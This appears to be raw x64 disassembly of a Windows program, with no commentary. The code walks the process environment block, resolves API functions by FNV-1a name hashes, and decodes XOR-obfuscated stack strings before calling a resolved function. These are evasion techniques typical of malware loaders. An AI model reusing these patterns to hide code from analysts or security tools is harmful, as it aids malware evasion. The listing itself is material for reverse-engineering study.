jmp 0x1400462b8
mov dword [rax + 4], 0
mov dword [rax + 8], 0
mov dword [rax + 0xc], 0
mov rbx, qword [0x1401c01c8]
test rbx, rbx
je 0x1400462d6
mov rcx, rbx
call fcn.14004dea0
nop
mov rcx, rbx
call fcn.14000d9d0
nop
lea rcx, [rbp + 0xa98]
call fcn.1400725d0
nop
cmp dword [rbp + 0x1378], 0
jne 0x140047303
cmp dword [rbp + 0x1388], 0
jne 0x140047309
jmp 0x140045083
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1678], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140046390
mov r9, qword [rbp + 0x1680]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140046387
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140046360
cmp r10d, esi
jne 0x1400464d7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x1400464df
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x1400464d7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x1400464d7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140046417
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x1400463f0
cmp r10d, r8d
je 0x140046429
test r11d, r11d
jne 0x1400463d0
mov rax, qword [rax]
jmp 0x140046320
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x1400464e1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400464e1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140046494
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140046470
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400464c6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400464a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140046320
xor ebx, ebx
movabs rdx, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1390], rdx
movabs rcx, 0x35fae148278a2caa
mov qword [rbp + 0x1398], rcx
movabs rax, 0x145aca49f08a64ce
mov qword [rbp + 0x220], rax
movabs rax, 0x35fa932755f8698a
mov qword [rbp + 0x228], rax
movdqa xmm0, xmmword [rbp + 0x220]
pxor xmm0, xmmword [rbp + 0x1390]
movdqa xmmword [rbp + 0x220], xmm0
movabs rdi, 0x3a99770a82dd65a2
movabs rsi, 0x8679f38d96f581c2
movabs r9, 0x5713e939cbad40c4
movabs r10, 0x4694886854fd43ce
movabs r11, 0x4321d33a6e11bb0b
movabs r14, 0xbbe40c0c3d7dc68d
movabs r15, 0x7337b221c4535123
movabs r12, 0x94d29eba2ec69766
movabs r13, 0x7cd5586505a6fd65
mov qword [rbp + 0xfb0], rdx
mov qword [rbp + 0xfb8], rcx
movabs rax, 0x2c48a75b027dda7f
mov qword [rbp + 0xfc0], rax
movabs rax, 0x49f01a2af1b445cc
mov qword [rbp + 0xfc8], rax
movabs rax, 0xf30b90adf19be8b1
mov qword [rbp + 0xfd0], rax
movabs rax, 0xd68b6f2c511cafee
mov qword [rbp + 0xfd8], rax
movabs r8, 0x5344c64fa13d3e53
mov qword [rbp + 0xfe0], r8
movabs rax, 0xe7bbf6ce0eb4f800
mov qword [rbp + 0xfe8], rax
movabs rax, 0xeb42f1163c98e45
mov qword [rbp + 0xff0], rax
movabs rax, 0x1ab37d00a568b8d2
mov qword [rbp + 0xff8], rax
movabs rax, 0x22beccd3ee2147a7
mov qword [rbp + 0x1000], rax
movabs rax, 0x38a4eec27713ad94
mov qword [rbp + 0x1008], rax
movabs rax, 0x35faae85ead48459
mov qword [rbp + 0x1010], rax
movabs rax, 0x455304469773db6
mov qword [rbp + 0x1018], rax
movabs rax, 0xa5eeaaa7f1951bfb
mov qword [rbp + 0x1020], rax
movabs rax, 0x9716bd66bf759828
mov qword [rbp + 0x1028], rax
movabs rax, 0x166ff8c9cd6af1ad
mov qword [rbp + 0x1030], rax
movabs rcx, 0x3d22d478c491a43a
mov qword [rbp + 0x1038], rcx
movabs rax, 0xde8f848bda65ce8f
mov qword [rbp + 0x1040], rax
movabs rdx, 0x12567fdaf2406d5c
mov qword [rbp + 0x1048], rdx
movabs rax, 0xe66df2ddeb0e43c1
mov qword [rbp + 0x1050], rax
movabs rax, 0x1ecee75c437e20fe
mov qword [rbp + 0x1058], rax
movabs rax, 0x5490d5ff0ee94a63
mov qword [rbp + 0x1060], rax
movabs rax, 0xb0225c7ec5e5bc90
mov qword [rbp + 0x1068], rax
movabs rax, 0xd71a94c1d2fa0bd5
mov qword [rbp + 0x1070], rax
movabs rax, 0xf240c4b0cdac7d62
mov qword [rbp + 0x1078], rax
movabs rax, 0x16212f03ededad37
mov qword [rbp + 0x1080], rax
movabs rax, 0x7464f9f2f545eea4
mov qword [rbp + 0x1088], rax
movabs rax, 0x5b9b3135325c1569
mov qword [rbp + 0x1090], rax
movabs rax, 0x7fa02cf42a3a5f46
mov qword [rbp + 0x1098], rax
movabs rax, 0x75ec4f5770d5010b
mov qword [rbp + 0x10a0], rax
movabs rax, 0x7459971634f36c38
mov qword [rbp + 0x10a8], rax
movabs rax, 0xc8b6d5f9d1a53fbd
mov qword [rbp + 0x10b0], rax
movabs rax, 0xef69b1a8c0d04d4a
mov qword [rbp + 0x10b8], rax
movabs rax, 0x1ea301bb194d459f
mov qword [rbp + 0x10c0], rax
movabs rax, 0xf0d68e0a2a3a7bec
mov qword [rbp + 0x10c8], rax
movabs rax, 0x4964608d82e20b51
mov qword [rbp + 0x10d0], rax
movabs rax, 0x81c5550cdb51e88e
mov qword [rbp + 0x10d8], rax
movabs rax, 0x1cf73bafce78fdf3
mov qword [rbp + 0x10e0], rax
movabs rax, 0x1fc102ef05114a0
mov qword [rbp + 0x10e8], rax
movabs rax, 0x8fbb7c71a82f1fe5
mov qword [rbp + 0x10f0], rax
movabs rax, 0xa487a1e075f9c5f2
mov qword [rbp + 0x10f8], rax
movabs rax, 0xc9a540b355998a47
mov qword [rbp + 0x1100], rax
movabs rcx, 0xa54bb522f3c33eb4
mov qword [rbp + 0x1108], rcx
mov qword [rbp + 0x8c0], r9
mov qword [rbp + 0x8c8], r10
mov qword [rbp + 0x8d0], r11
mov qword [rbp + 0x8d8], rdi
mov qword [rbp + 0x8e0], rsi
mov qword [rbp + 0x8e8], r14
mov qword [rbp + 0x8f0], r15
mov qword [rbp + 0x8f8], r12
mov qword [rbp + 0x900], r13
movabs rax, 0x7fc31220ca1c98b7
mov qword [rbp + 0x908], rax
movabs rax, 0x50d1aff38b5526d5
mov qword [rbp + 0x910], rax
movabs rax, 0x188a97ae0370c8e6
mov qword [rbp + 0x918], rax
movabs rax, 0x5cdacbf68bb1e809
mov qword [rbp + 0x920], rax
movabs rax, 0x65755c2808034ed8
mov qword [rbp + 0x928], rax
movabs rax, 0xca9dc5d592fc56db
mov qword [rbp + 0x930], rax
movabs rax, 0xe562ce0fdb55ec4e
mov qword [rbp + 0x938], rax
movabs rax, 0x604f9cacb91f93c4
mov qword [rbp + 0x940], rax
movabs rax, 0x5c02ba17ade2d65f
mov qword [rbp + 0x948], rax
movabs rax, 0xbfaffdf9ae45aae1
mov qword [rbp + 0x950], rax
movabs rax, 0x1f5c75f49c290c3b
mov qword [rbp + 0x958], rax
movabs rax, 0xdc2abc94a55c0296
mov qword [rbp + 0x960], rax
movabs rax, 0x6da7c72f2a1674de
mov qword [rbp + 0x968], rax
movabs rax, 0x74e2b08c7bc92b43
mov qword [rbp + 0x970], rax
movabs rax, 0xc702701bb096cff9
mov qword [rbp + 0x978], rax
movabs rax, 0xa43acd8d9cb52bb0
mov qword [rbp + 0x980], rax
movabs rax, 0xbd60b0c2a2dc0d17
mov qword [rbp + 0x988], rax
movabs rax, 0x366d6e4aaea4eb71
mov qword [rbp + 0x990], rax
movabs rax, 0x15089593813680cd
mov qword [rbp + 0x998], rax
movabs rax, 0x3df411465c337c1d
mov qword [rbp + 0x9a0], rax
movabs rax, 0x10d3438649531266
mov qword [rbp + 0x9a8], rax
movabs rax, 0x1a88213e27f5756d
mov qword [rbp + 0x9b0], rax
movabs rax, 0x3a79d85214df1f4f
mov qword [rbp + 0x9b8], rax
movabs rax, 0xbcd7b08bb2856bf2
mov qword [rbp + 0x9c0], rax
movabs rax, 0x9d06c1d8b5a36d2f
mov qword [rbp + 0x9c8], rax
movabs rax, 0x6ac66ad8703965eb
mov qword [rbp + 0x9d0], rax
movabs rax, 0x95befa2a595b5b9f
mov qword [rbp + 0x9d8], rax
movabs rax, 0x260d14f8ee8d7871
mov qword [rbp + 0x9e0], rax
movabs rax, 0xeda4757fba39c8e0
mov qword [rbp + 0x9e8], rax
movabs rax, 0x79951bd6aa199881
mov qword [rbp + 0x9f0], rax
movabs rax, 0x6090605695717ac5
mov qword [rbp + 0x9f8], rax
movabs rax, 0xafd51551cc4a718c
mov qword [rbp + 0xa00], rax
movabs rax, 0xd7e2ccc00690ad86
mov qword [rbp + 0xa08], rax
movabs rax, 0xc9a5409d30feeb34
mov qword [rbp + 0xa10], rax
mov qword [rbp + 0xa18], rcx
movdqa xmm0, xmmword [rbp + 0xfb0]
pxor xmm0, xmmword [rbp + 0x8c0]
movdqa xmmword [rbp + 0x8c0], xmm0
movdqa xmm1, xmmword [rbp + 0x8d0]
pxor xmm1, xmmword [rbp + 0xfc0]
movdqa xmmword [rbp + 0x8d0], xmm1
movdqa xmm0, xmmword [rbp + 0x8e0]
pxor xmm0, xmmword [rbp + 0xfd0]
movdqa xmmword [rbp + 0x8e0], xmm0
movdqa xmm1, xmmword [rbp + 0x8f0]
pxor xmm1, xmmword [rbp + 0xfe0]
movdqa xmmword [rbp + 0x8f0], xmm1
movdqa xmm0, xmmword [rbp + 0x900]
pxor xmm0, xmmword [rbp + 0xff0]
movdqa xmmword [rbp + 0x900], xmm0
movdqa xmm1, xmmword [rbp + 0x910]
pxor xmm1, xmmword [rbp + 0x1000]
movdqa xmmword [rbp + 0x910], xmm1
movdqa xmm0, xmmword [rbp + 0x920]
pxor xmm0, xmmword [rbp + 0x1010]
movdqa xmmword [rbp + 0x920], xmm0
movdqa xmm1, xmmword [rbp + 0x930]
pxor xmm1, xmmword [rbp + 0x1020]
movdqa xmmword [rbp + 0x930], xmm1
movdqa xmm0, xmmword [rbp + 0x940]
pxor xmm0, xmmword [rbp + 0x1030]
movdqa xmmword [rbp + 0x940], xmm0
movdqa xmm1, xmmword [rbp + 0x950]
pxor xmm1, xmmword [rbp + 0x1040]
movdqa xmmword [rbp + 0x950], xmm1
movdqa xmm0, xmmword [rbp + 0x960]
pxor xmm0, xmmword [rbp + 0x1050]
movdqa xmmword [rbp + 0x960], xmm0
movdqa xmm1, xmmword [rbp + 0x970]
pxor xmm1, xmmword [rbp + 0x1060]
movdqa xmmword [rbp + 0x970], xmm1
movdqa xmm0, xmmword [rbp + 0x980]
pxor xmm0, xmmword [rbp + 0x1070]
movdqa xmmword [rbp + 0x980], xmm0
movdqa xmm1, xmmword [rbp + 0x990]
pxor xmm1, xmmword [rbp + 0x1080]
movdqa xmmword [rbp + 0x990], xmm1
movdqa xmm0, xmmword [rbp + 0x9a0]
pxor xmm0, xmmword [rbp + 0x1090]
movdqa xmmword [rbp + 0x9a0], xmm0
movdqa xmm1, xmmword [rbp + 0x9b0]
pxor xmm1, xmmword [rbp + 0x10a0]
movdqa xmmword [rbp + 0x9b0], xmm1
movdqa xmm0, xmmword [rbp + 0x9c0]
pxor xmm0, xmmword [rbp + 0x10b0]
movdqa xmmword [rbp + 0x9c0], xmm0
movdqa xmm1, xmmword [rbp + 0x9d0]
pxor xmm1, xmmword [rbp + 0x10c0]
movdqa xmmword [rbp + 0x9d0], xmm1
movdqa xmm0, xmmword [rbp + 0x9e0]
pxor xmm0, xmmword [rbp + 0x10d0]
movdqa xmmword [rbp + 0x9e0], xmm0
movdqa xmm1, xmmword [rbp + 0x9f0]
pxor xmm1, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0x9f0], xmm1
movdqa xmm0, xmmword [rbp + 0xa00]
pxor xmm0, xmmword [rbp + 0x10f0]
movdqa xmmword [rbp + 0xa00], xmm0
movdqa xmm1, xmmword [rbp + 0xa10]
pxor xmm1, xmmword [rbp + 0x1100]
movdqa xmmword [rbp + 0xa10], xmm1
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x8c0]
jmp 0x1400472db
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140046dd1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140046dd1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140046d84
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140046d60
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140046db6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140046d90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040ef0
xor ebx, ebx
movabs rax, 0x397a9e19b9d82f9d
mov qword [rbp + 0x13a0], rax
movabs r8, 0x35fae148278a2caa
mov qword [rbp + 0x13a8], r8
movabs rax, 0x145aca49f08a64ce
mov qword [rbp + 0x230], rax
movabs rax, 0x35fa932755f8698a
mov qword [rbp + 0x238], rax
movdqa xmm0, xmmword [rbp + 0x230]
pxor xmm0, xmmword [rbp + 0x13a0]
movdqa xmmword [rbp + 0x230], xmm0
movabs rcx, 0x4e5afa7cd5b14edb
movabs rdx, 0x41da86264efe45d8
movabs rdi, 0x93c12d630e4ffaba
movabs rsi, 0xc018b0eef626a10
movabs r9, 0x2666cc286b19fa10
movabs r10, 0x79c02a1ac1f73dfc
movabs r11, 0xb25fc38ddcbbdc82
movabs rax, 0x397a9e19b9d82f9d
movabs r14, 0xa9eeb98851e0b74e
movabs r15, 0x2ed15d740b9d8401
movabs r12, 0x6f93126e850dcab3
movabs r13, 0x4bdaecb6824326d4
mov qword [rbp + 0xcd0], rax
mov qword [rbp + 0xcd8], r8
movabs rax, 0x2c48a75b027dda7f
mov qword [rbp + 0xce0], rax
movabs rax, 0x49f01a2af1b445cc
mov qword [rbp + 0xce8], rax
movabs rax, 0xf30b90adf19be8b1
mov qword [rbp + 0xcf0], rax
movabs rax, 0xd68b6f2c511cafee
mov qword [rbp + 0xcf8], rax
movabs r8, 0x5344c64fa13d3e53
mov qword [rbp + 0xd00], r8
movabs rax, 0xe7bbf6ce0eb4f800
mov qword [rbp + 0xd08], rax
movabs rax, 0xeb42f1163c98e45
mov qword [rbp + 0xd10], rax
movabs rax, 0x1ab37d00a568b8d2
mov qword [rbp + 0xd18], rax
movabs rax, 0x22beccd3ee2147a7
mov qword [rbp + 0xd20], rax
movabs rax, 0x38a4eec27713ad94
mov qword [rbp + 0xd28], rax
movabs rax, 0x35faae85ead48459
mov qword [rbp + 0xd30], rax
movabs rax, 0x455304469773db6
mov qword [rbp + 0xd38], rax
mov qword [rbp + 0x5e0], rcx
mov qword [rbp + 0x5e8], rdx
mov qword [rbp + 0x5f0], r9
mov qword [rbp + 0x5f8], r10
mov qword [rbp + 0x600], r11
mov qword [rbp + 0x608], rdi
mov qword [rbp + 0x610], rsi
mov qword [rbp + 0x618], r14
mov qword [rbp + 0x620], r15
mov qword [rbp + 0x628], r12
mov qword [rbp + 0x630], r13
movabs rax, 0x4c8480ad5760c6e7
mov qword [rbp + 0x638], rax
movabs rax, 0x508eddfc99f4e131
mov qword [rbp + 0x640], rax
movabs rax, 0x4553044697713db
mov qword [rbp + 0x648], rax
movdqa xmm0, xmmword [rbp + 0xcd0]
pxor xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x5e0], xmm0
movdqa xmm1, xmmword [rbp + 0xce0]
pxor xmm1, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp + 0x5f0], xmm1
movdqa xmm0, xmmword [rbp + 0xcf0]
pxor xmm0, xmmword [rbp + 0x600]
movdqa xmmword [rbp + 0x600], xmm0
movdqa xmm1, xmmword [rbp + 0xd00]
pxor xmm1, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x610], xmm1
movdqa xmm0, xmmword [rbp + 0xd10]
pxor xmm0, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x620], xmm0
movdqa xmm1, xmmword [rbp + 0xd20]
pxor xmm1, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x630], xmm1
movdqa xmm0, xmmword [rbp + 0xd30]
pxor xmm0, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x640], xmm0
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x5e0]
jmp 0x1400472db
mov ecx, dword [r14 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r14
jbe 0x140047171
lea rax, [r14 + r13]
cmp rbx, rax
jae 0x140047171
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140047124
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140047100
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140047156
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140047130
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040230
xor ebx, ebx
movabs rdi, 0x397a9e19b9d82f9d
mov qword [rbp + 0x13b0], rdi
movabs r11, 0x35fae148278a2caa
mov qword [rbp + 0x13b8], r11
movabs rax, 0x145aca49f08a64ce
mov qword [rbp + 0x100], rax
movabs rax, 0x35fa932755f8698a
mov qword [rbp + 0x108], rax
movdqa xmm0, xmmword [rbp + 0x100]
pxor xmm0, xmmword [rbp + 0x13b0]
movdqa xmmword [rbp + 0x100], xmm0
movabs rax, 0x505afb6ad8bd43cd
movabs rcx, 0x72da8d2446fe5fc4
movabs rdx, 0x493ece29665d8f2f
movabs r8, 0x3dd07e44909436be
movabs r9, 0x9d62f1ca90bb91c3
movabs r10, 0xd68b6f2c511cafc0
mov qword [rbp + 0xb80], rdi
mov qword [rbp + 0xb88], r11
movabs r11, 0x2c48a75b027dda7f
mov qword [rbp + 0xb90], r11
movabs r11, 0x49f01a2af1b445cc
mov qword [rbp + 0xb98], r11
movabs r13, 0xf30b90adf19be8b1
mov qword [rbp + 0xba0], r13
movabs r13, 0xd68b6f2c511cafee
mov qword [rbp + 0xba8], r13
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x3e0], rdx
mov qword [rbp + 0x3e8], r8
mov qword [rbp + 0x3f0], r9
mov qword [rbp + 0x3f8], r10
movdqa xmm0, xmmword [rbp + 0x3d0]
pxor xmm0, xmmword [rbp + 0xb80]
movdqa xmmword [rbp + 0x3d0], xmm0
movdqa xmm1, xmmword [rbp + 0xb90]
pxor xmm1, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x3e0], xmm1
movdqa xmm0, xmmword [rbp + 0xba0]
pxor xmm0, xmmword [rbp + 0x3f0]
movdqa xmmword [rbp + 0x3f0], xmm0
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x3d0]
mov r9d, 0x40010
xor ecx, ecx
call rbx
xor eax, eax
movaps xmm6, xmmword [rsp + 0x3bd0]
add rsp, 0x3be8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14008752c
nop
call fcn.14008752c
int3